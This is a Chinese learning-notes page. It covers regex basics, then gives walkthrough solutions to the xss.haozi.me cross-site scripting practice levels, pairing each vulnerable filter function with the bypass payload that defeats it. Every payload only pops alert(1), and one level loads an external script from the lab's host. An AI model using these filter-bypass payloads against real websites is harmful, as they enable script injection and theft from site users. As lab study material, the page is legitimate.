haozi.me学习记录

正则表达式

横向模糊匹配

{m,n}，最少出现m次最多出现n次

/ab{2,5}c/g，表示匹配第一个字符是a,第二位开始2-5个字符是b,最后一个字符是c，g是全局匹配，不仅匹配第一个

纵向模糊匹配

[abc],可以匹配abc中的任何一个
/a[123]b/,可以匹配a1b,a2b,a3b

范围表示法

[123456abcdefABCDEF]可以写作[1-6a-fA-F]

反义字符组

[^abc],除abc之外的任意字符

常见的简写形式

\d,[0-9],匹配一位数字
\D,[^0-9],除数字外的字符
\w,[0-9a-zA-Z_],数字大小写字母和下划线

\W,[^0-9a-zA-Z_],除数字大小写字母和下划线之外

\s,[\t\v\n\r\f],表述空白符号,空格，水平制表符，垂直制表符，换行符，回车符，换页符
\S,非空白符

量词

{m,},最少出现m次
{m}，{m,m}出现m次
?,{0,1},出现0次或一次
+，{1,}出现一次或更多次
*，出现任意次，零次或更多次

贪婪匹配和惰性匹配

/\d{2,5}/,表示数字连续出现2-5次
/\d{2,5}?/,在量词后面加？，实现惰性匹配，匹配到出现2次就不匹配了

多选分支

(p1|p2|p3),支持子模式中任选其一进行匹配
分支结构也是惰性匹配

实例

```
/^(\d{15}|\d{17}[\dxX])$/\
```
\d{15}和\d{17}[\dxX]

\d{15}，连续15位数字

\d{17}[\dxX]，连续17位数字，最后一位可以是数字也可以是大小写的

优先级

1.转义符 \
2.括号和方括号 (...)、(?:...)、(?=...)、(?!...)、[...]
3.量词限定符 {m}、{m,n}、{m,}、?、*、+
4.位置和序列 ^ 、$、 \元字符、 一般字符
\5. 管道符（竖杠）|

xss

0x00

function render (input) {
  return '' + input + ''   
}

成功img

img标签：向网页中嵌入一幅图像，从网页上链接图像

scr属性：她的值是图像的url值

onerror事件：在加载外部文件（文档，图像）发送错误时触发

0x01

function render (input) {
  return '' + input + ''  
}

```
 # 闭合标签
```

0x02

function render (input) {
  return ''  
}

"> 
">

0x03

function render (input) {
  const stripBracketsRe = /[()]/g  代表全局匹配
  input = input.replace(stripBracketsRe, '')   <--过滤括号,g代表全局匹配-->
  return input
}

```
# 反撇号绕过
```

0x04

function render (input) {
  const stripBracketsRe = /[()`]/g   <--过滤了括号和反撇号-->
  input = input.replace(stripBracketsRe, '')
  return input
}

```
 # 编码绕过
```

iframe标签

iframe元素会创建包含另一个文档的内联框架

srcdoc属性：srcdoc中的代码会作为iframe中的内容显示出来，srcdoc中可以直接写转移后的html片段


</code></pre>
</li>
</ol>
<h6 id="0x05">0x05</h6>
<ol>
<li>
<pre><code class="language-html">function render (input) {
  input = input.replace(/-->/g, '??')
  return '<!-- ' + input + ' -->'   </--填写的代码在注释符中，把注释符号替换成表情-->
}
</code></pre>
</li>
<li>
<pre><code class="language-html">--!><script>alert(1)</script>
</--注释符中除了<!-- -->,<!--!>.<!----!>同样可以注释 -->
</code></pre>
<p></p>
</li>
</ol>
<h6 id="0x06">0x06</h6>
<ol>
<li>
<pre><code class="language-html">function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}
<!--ig全局匹配，忽略大小写。正则表达式，匹配auto，on开头=结尾，>,替换为下划线 -->
</code></pre>
</li>
<li>
<pre><code class="language-html">onfocus
=alert(1)
</code></pre>
<p>使用换行的办法，不以on开头=结尾，需要鼠标点击</p>
<pre><code>onclick
=alert(1)			鼠标点击

onmouseover
=alert(1)          鼠标放在框上
           
type=image src=# onerror
=alert(1)			直接弹出
</code></pre>
<p></p>
</li>
</ol>
<h6 id="0x07">0x07</h6>
<ol>
<li>
<pre><code class="language-html">function render (input) {
  const stripTagsRe = /&lt;\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')  <!--匹配<,</开头，中间除<之外所有字符最少一个，>结尾 -->
  return `<article>${input}</article>`
}
</code></pre>
</li>
<li>
<pre><code><img src=# onerror="alert(1)"
</code></pre>
<p></p>
</li>
</ol>
<h6 id="0x08">0x08</h6>
<ol>
<li>
<pre><code class="language-html">function render (src) {
  src = src.replace(/&lt;\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}
 替换了</style>
</code></pre>
</li>
<li>
<pre><code></style ><img src=# onerror="alert(1)">
</code></pre>
<p>空格绕过</p>
<p></p>
</li>
</ol>
<h6 id="0x09">0x09</h6>
<ol>
<li>
<pre><code class="language-html">function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

以https://www.sesegmentfault.com开头
</code></pre>
</li>
<li>
<pre><code>https://www.segmentfault.com"></script><img src=# onerror="alert(1)
</code></pre>
<p>闭合script标签</p>
<p></p>
</li>
</ol>
<h6 id="0x0a">0x0A</h6>
<ol>
<li>
<pre><code class="language-html">function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}
以https://www.sesegmentfault.com开头，同时过滤了&,',",<,>,\,/
</code></pre>
</li>
<li>
<pre><code>https://www.segmentfault.com@xss.haozi.me/j.js
</code></pre>
<p>src属性，script标签中引用保存好.js文件，url会解析@之后的地址</p>
<p></p>
</li>
</ol>
<h6 id="0x0b">0x0B</h6>
<ol>
<li>
<pre><code class="language-html">function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}
将输入的值转换成大写了
</code></pre>
<p>html，不区分大小写，域名不区分，js区分大小写</p>
</li>
<li>
<pre><code class="language-sql"><img src=" " onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
</code></pre>
<p>实体编码绕过，也可以使用引用js文件</p>
<p></p>
</li>
</ol>
<h6 id="0x0c">0x0C</h6>
<ol>
<li>
<pre><code class="language-hmtl">function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
将script替换为空，全部转换为大写
</code></pre>
</li>
<li>
<pre><code><img src=" " onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
</code></pre>
<p>编码绕过，双写也行，引用</p>
<p></p>
</li>
</ol>
<h6 id="0x0d">0x0D</h6>
<ol>
<li>
<pre><code class="language-html">function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}
    
过滤<,/,"，'，全局匹配
</code></pre>
</li>
<li>
<pre><code>alert(1)
-->
</code></pre>
<p>换行，绕过单行注释，<！--，-->都可以在html的script标签里单独进行注释</p>
<p></p>
</li>
</ol>
<h6 id="0x0e">0x0E</h6>
<ol>
<li>
<pre><code class="language-html">function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
                                        
匹配<开头的字符，替换为<_$1，所有转换为大写
</code></pre>
</li>
<li>
<pre><code>&lt;?cript src=" " onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;></?cript >
</code></pre>
<p>?字符，古英语中s的写法，转换为大写后是S，<br>
</p>
<p></p>
</li>
</ol>
<h6 id="0x0f">0x0F</h6>
<ol>
<li>
<pre><code class="language-html">function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
过滤了一大堆，转换成实体编码，
</code></pre>
</li>
<li>
<pre><code>')
alert(1)//
</code></pre>
<p>input在img标签内。html实体编码可以直接解析</p>
<p></p>
</li>
</ol>
<h6 id="0x10">0x10</h6>
<ol>
<li>
<pre><code class="language-html">function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}
</code></pre>
</li>
<li>
<pre><code>alert(1)
</code></pre>
<p>闭合或者直接下一行</p>
<p></p>
</li>
</ol>
<h6 id="0x11">0x11</h6>
<ol>
<li>
<pre><code class="language-HTML">// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}


过滤了一大堆
</code></pre>
</li>
<li>
<pre><code>");alert(1)("
</code></pre>
<p>.replace(/"/g, '\"')，双引号还是可用</p>
<p></p>
</li>
</ol>
<h6 id="0x12">0x12</h6>
<ol>
<li>
<pre><code class="language-html">// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}
将双引号进行转义
</code></pre>
</li>
<li>
<pre><code>\");alert(1);</script>
</code></pre>
<p></p>
<pre><code></script> <script>alert(1)</script><script>
</code></pre>
<p></p>
</li>
</ol>
						  
					  </div>
						<!--conend-->
							<div class="p-2"></div>

						<div class="arcinfo my-3 fs-7 text-center">
							
							
			<a href='/t/etagid1253-0.html' class='tagbtn' target='_blank'>学习笔记</a>							
						



						</div>
						
						<div class="p-2"></div>

						

						
					</div>
					<div class="p-2"></div>
					<!--xg-->
					<div class="lbox p-4 shadow-sm rounded-3">
						<div class="boxtitle"><h2 class="fs-4">相关</h2></div>
						
<hr>				
						
			<div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-565434.html">Git--学习笔记（三）远程仓库克隆到本地</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-564347.html">[学习笔记] 整数规划之割平面法 How and why?</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-564272.html">计网学习笔记(5) - 物理层与媒介</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-562250.html">selenium python学习笔记之八 窗口截图、验证码处理</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-561824.html">AntDesign vue学习笔记（三）嵌套路由使用</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-561153.html">vue学习笔记（一）--来源尚硅谷</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-560821.html">【学习笔记】TSlib校准原理</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-560636.html">Go语言核心36讲（Go语言实战与应用六）--学习笔记</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-560231.html">docker 学习笔记-7</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-558176.html">SpringMVC学习笔记</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-558306.html">Spring 学习笔记</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div><div class="row g-0 py-2 border-bottom align-items-center">
																
								<div class="col-7 col-lg-11 border-lg-end">
										<h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-558195.html">[机器学习笔记(一)] TensorFLow安装</a></h3>
									
									<div class="ltag fs-8 d-none d-lg-block">
								 

        </div>
								</div>
							
							</div>            
            
            <!---->
                                    
           <!---->
  			
						

					</div>
					<!--xgend-->
				</div>

				<div class="col-lg-3 col-12 p-0 ps-lg-2">
					<!--box-->									
					<!--boxend-->
					<!--<div class="p-2"></div>-->

					<!--box-->
									<div class="lbox p-4 shadow-sm rounded-3">
					
									   <div class="boxtitle pb-2"><h2 class="fs-4"><a href="#">标签</a></h2></div>
										<div class="clearfix"></div>
										<ul class="m-0 p-0 fs-7 r-tag">
										</ul>
									

										
										<div class="clearfix"></div>
									</div>
					<!--box end-->

					
				</div>

			</div>
		
		
		
		</div>	

</main>
						<div class="p-2"></div>
<footer>
<div class="container-fluid p-0 bg-black">
	<div class="container p-0  fs-8">
	<p class="text-center m-0 py-2 text-white-50">一品网 <a class="text-white-50" href="https://beian.miit.gov.cn/" target="_blank">冀ICP备14022925号-6</a></p>
	</div>	
</div>
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?6e3dd49b5f14d985cc4c6bdb9248f52b";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>
</footer>
		
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.min.js"></script>

</body>
</html>